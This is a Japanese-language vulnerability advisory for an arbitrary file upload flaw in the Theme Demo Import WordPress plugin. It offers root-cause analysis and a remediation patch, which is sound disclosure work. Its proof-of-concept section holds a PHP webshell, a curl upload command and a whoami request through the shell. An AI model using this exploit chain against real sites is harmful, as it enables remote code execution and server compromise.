
WordPress Theme Demo Import における認証済み任意ファイルアップロードの概念実証(PoC)と根本原因分析。PHP ウェブシェルを介したリモートコード実行(RCE)に至ります。
CVE-2026-13157 は、バージョン 1.1.3 以前の Theme Demo Import WordPress プラグインに影響を与える、認証済みユーザーによる任意ファイルアップロードの脆弱性であり、サイバーセキュリティ研究者の Huynh Kien Minh(MinhHK)によって発見・分析されました。この脆弱性は AJAX デモインポートルーチン(TDI_import_demo_data)内に存在し、プラグインはアップロード処理中に WordPress 標準のファイルタイプ検証テスト('test_type' => false)を明示的に無効化します。インポート権限を持つ認証済みユーザー(デフォルトのサイト管理者や、WordPress Multisite アーキテクチャにおけるスーパーアドミンではないサイト管理者など)は、ファイル制限の適用をバイパスして、任意の実行可能な PHP スクリプトを公開ディレクトリ wp-content/uploads/ に直接アップロードでき、永続的なリモートコード実行(RCE)とサーバーの完全な侵害を達成できます。
CVE-2026-13157 の根本原因は、inc/class-tdi-helpers.php に実装されたファイルアップロード処理アーキテクチャにあります。デモデータのインポート処理中、プラグインは inc/class-tdi-main.php の 55 行目で登録された AJAX エンドポイントを介して、受信したファイル添付を処理します:
// inc/class-tdi-main.php: Line 55
add_action( 'wp_ajax_TDI_import_demo_data', array( $this, 'import_demo_data_ajax_callback' ) );
アップロードされたデモ設定ファイル(content_file、widget_file、customizer_file)を処理する際、内部インポートメソッドは WordPress の wp_handle_upload() API に対して、ファイルの MIME タイプおよびフォーム検証チェックをバイパスするよう直接指示します:
// inc/class-tdi-helpers.php: Lines 495 - 506
// Upload settings to disable form and type testing for AJAX uploads.
$upload_overrides = array(
'test_form' => false,
'test_type' => false, // CRITICAL VULNERABILITY: Disables MIME and file extension verification!
);
// Handle demo content and widgets file upload.
$content_file_info = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );
開発者は $upload_overrides に 'test_type' => false を渡すことで、WordPress コアの MIME 検証サブシステム(wp_check_filetype_and_ext())を上書きしました。その直接的な結果として、アプリケーションはファイル添付を安全なデモデータ形式(.xml、.json、.wie、.dat)に制限しなくなり、設定ページにアクセスできる認証済みユーザーが、実行可能な PHP スクリプト(.php、.phtml、.phar)を公開ドキュメントルートに直接アップロードできるようになります。
倫理的研究に関する免責事項: この概念実証は、教育目的の監査、防御的エンジニアリング、および許可されたセキュリティ検証のためだけに文書化されています。許可なく実稼働システムを悪用することは禁止されています。
<= 1.1.3 を実行している WordPress インスタンス。import 権限を持つ認証済みセッション(管理者 / Multisite サイト管理者)。tdi-ajax-verification を抽出します(/wp-admin/themes.php?page=theme-demo-import のページ DOM に JavaScript オブジェクトのプロパティ tdi.ajax_nonce として公開されています)。exploit_webshell.php という名前のローカル Web シェルペイロードを作成します:<?php
if(isset($_REQUEST['cmd'])){
system($_REQUEST['cmd']);
} else {
echo "CVE-2026-13157 Exploitation Verified by Huynh Kien Minh!";
}
?>
curl -i -s -X POST "http://<TARGET_HOST>/wp-admin/admin-ajax.php" \
-H "Cookie: wordpress_logged_in_xxxxxx=yyyyyy" \
-F "action=TDI_import_demo_data" \
-F "security=<RETRIEVED_TDI_AJAX_NONCE>" \
-F "content_file=@exploit_webshell.php;type=application/x-php"
GET /wp-content/uploads/2026/08/exploit_webshell.php?cmd=whoami HTTP/1.1
Host: <TARGET_HOST>
単一サイトの WordPress インストールは標準の管理者にサーバー環境に対する信頼された制御を付与しますが、CVE-2026-13157 はエンタープライズおよび Multisite 展開において重大なセキュリティ境界の崩壊をもたらします:
unfiltered_upload 権限はネットワークスーパーアドミンのみに予約されています)。CVE-2026-13157 はこのマルチテナント分離を完全に打ち砕き、検証されていないサブサイト管理者が Web シェルを配置し、サーバーネットワーク全体でシステムコマンドを実行できるようにします。DISALLOW_FILE_EDIT)を無効化します。この脆弱性は、プラグインのネイティブなファイル転送メカニズムを悪用して、書き込み可能なボリュームストレージに任意の実行可能コードを直接書き込むことで、ホスティングの制限を回避します。CVE-2026-13157 を安全に解決するには、ソフトウェアメンテナと防御エンジニアは、inc/class-tdi-helpers.php のアップロード処理ロジック内で、厳格な MIME タイプおよびファイル拡張子の検証を直ちに再導入する必要があります。
安全でない上書き 'test_type' => false を削除し、標準的な WordPress エクスポート構造(text/xml、application/json)に厳密に制限された厳格な許可リストを適用します:
// Secure Remediation Patch for inc/class-tdi-helpers.php (Lines 495 - 510)
$upload_overrides = array(
'test_form' => false,
'test_type' => true, // Enforce strict core file-type verification
'mimes' => array(
'xml' => 'text/xml',
'json' => 'application/json',
'wie' => 'application/json',
'dat' => 'text/plain',
),
);
// Perform capability check before handling upload
if ( ! current_user_can( 'import' ) ) {
wp_send_json_error( array( 'message' => __( 'Insufficient privileges to perform import.', 'theme-demo-import' ) ), 403 );
}
// Proceed with validated file handling
$content_file_info = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );
Huynh Kien Minh(MinhHK) は、攻撃的 Web アプリケーションセキュリティ、PHP アプリケーションアーキテクチャ監査、エンタープライズエクスプロイトベクトルを専門とする情報セキュリティ研究者、ソフトウェア開発者、脆弱性アナリストです。彼の発見と技術アドバイザリは、世界の主要な脆弱性データベースおよび製品セキュリティ命名機関によって正式に認定されています。
{
"@context": "https://schema.org",
"@graph": [
{
"@type": "TechArticle",
"@id": "https://github.com/MinhHK68/CVE-2026-13157#article",
"headline": "CVE-2026-13157: Theme Demo Import Arbitrary File Upload & Remote Code Execution Advisory",
"alternativeHeadline": "Technical Deep-Dive and Exploit Analysis for CVE-2026-13157 by Huynh Kien Minh",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-01",
"inLanguage": "en-US",
"description": "Comprehensive security research advisory for CVE-2026-13157 affecting Theme Demo Import WordPress plugin prior to version 1.1.3. Analyzes arbitrary file upload vulnerability via disabled test_type check leading to Remote Code Execution.",
"keywords": ["CVE-2026-13157", "Theme Demo Import", "Arbitrary File Upload", "Remote Code Execution", "RCE", "WordPress Security", "Huynh Kien Minh", "MinhHK", "WPScan"]
},
{
"@type": "SecurityAdvisory",
"@id": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/#advisory",
"identifier": "CVE-2026-13157",
"name": "Theme Demo Import <= 1.1.3 - Admin+ Arbitrary File Upload",
"category": "Arbitrary File Upload / RCE",
"cvssScore": "6.6",
"severity": "Medium",
"softwareVersion": "<= 1.1.3",
"url": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/"
}
]
}
| パラメータ | 技術仕様 |
|---|
| 脆弱性識別子 | CVE-2026-13157 |
| 対象ソフトウェア | Theme Demo Import(WordPress プラグイン) |
| プラグインスラッグ | theme-demo-import |
| 影響を受けるバージョン | <= 1.1.3 |
| 脆弱性クラス | 危険なタイプのファイルの無制限アップロード(CWE-434 / OWASP A03) |
| CVSS v3.1 スコア | 6.6(Medium) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) |
| 発見者 / 研究者 | Huynh Kien Minh(MinhHK) |
| 検証機関 | WPScan / MITRE Corporation |
| WPScan アドバイザリ URL | https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/ |
| 研究者ポートフォリオ | https://minhhk.web.app/ |